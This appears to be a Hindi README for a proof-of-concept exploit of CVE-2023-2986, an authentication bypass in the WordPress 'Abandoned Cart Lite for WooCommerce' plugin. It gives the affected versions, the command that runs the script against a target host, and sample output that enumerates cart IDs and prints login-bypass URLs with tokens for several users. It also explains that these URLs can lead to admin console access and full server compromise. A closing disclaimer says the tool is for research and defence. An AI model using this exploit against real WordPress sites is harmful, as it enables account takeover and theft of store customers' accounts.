
WordPress में 'Abandoned Cart Lite for WooCommerce' प्लगइन में भेद्यता CVE-2023-2986 के लिए प्रूफ ऑफ कॉन्सेप्ट
WordPress में 'Abandoned Cart Lite for WooCommerce' प्लगइन में कमजोरी CVE-2023-2986 के लिए प्रूफ ऑफ कॉन्सेप्ट
version <= 5.14.2version <= 5.15.15.15.05.15.2पहले यह सोचा गया था कि संस्करण 5.15.0 इस समस्या को ठीक कर देता है, लेकिन मैंने पाया कि यह पूरी तरह से ठीक नहीं हुआ था और इसे अपडेट कर दिया गया है। इसलिए वास्तविक पैच किया गया संस्करण 5.15.2 है।
sudo apt-get install php-curl
php poc.php http://target_host target_port max_cart_id_to_enumerate
[*] Enumerating cart ID : 1
[+] Authentication Bypass URL for user 'victim' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=pwDHtAFjg2StEr4S2bP9YXkwVdKLqnsLjpkFGythB5ztEF8twVbXFdEP6u7kYwrc
[*] Enumerating cart ID : 2
[*] Enumerating cart ID : 3
[+] Authentication Bypass URL for user 'victim2' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=aQH9pwVjg2TWqKcFmNoipUeBKbYNb5UaEYMYP8DlCz3DqykRdzP3lQgEqID6QsoD
[*] Enumerating cart ID : 4
[+] Authentication Bypass URL for user 'user' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=XQOexwdjg2TzUjbZJgcYAeUE1p7YdPytSYL3Vkkjb+gISKD02Cpk+3Dx6SUnbe5d
[*] Enumerating cart ID : 5
ब्राउज़र में URL दर्ज करने से आपको संबंधित उपयोगकर्ता के खाते तक पहुंच मिल जाएगी। यदि वर्डप्रेस एडमिन उपयोगकर्ता का स्वयं एक प्रविष्टि है, तो इससे एडमिन कंसोल तक पहुंच मिल जाएगी, जिससे वर्डप्रेस सर्वर से पूरी तरह समझौता हो सकता है।
यह प्रूफ ऑफ कॉन्सेप्ट (POC) विशुद्ध रूप से अकादमिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसका उपयोग सिस्टम पर हमला करने के लिए नहीं किया जाना है, सिवाय उन मामलों के जहां स्पष्ट रूप से अधिकृत किया गया है। लेखक POC के किसी भी दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं है। जिम्मेदारी से उपयोग करें।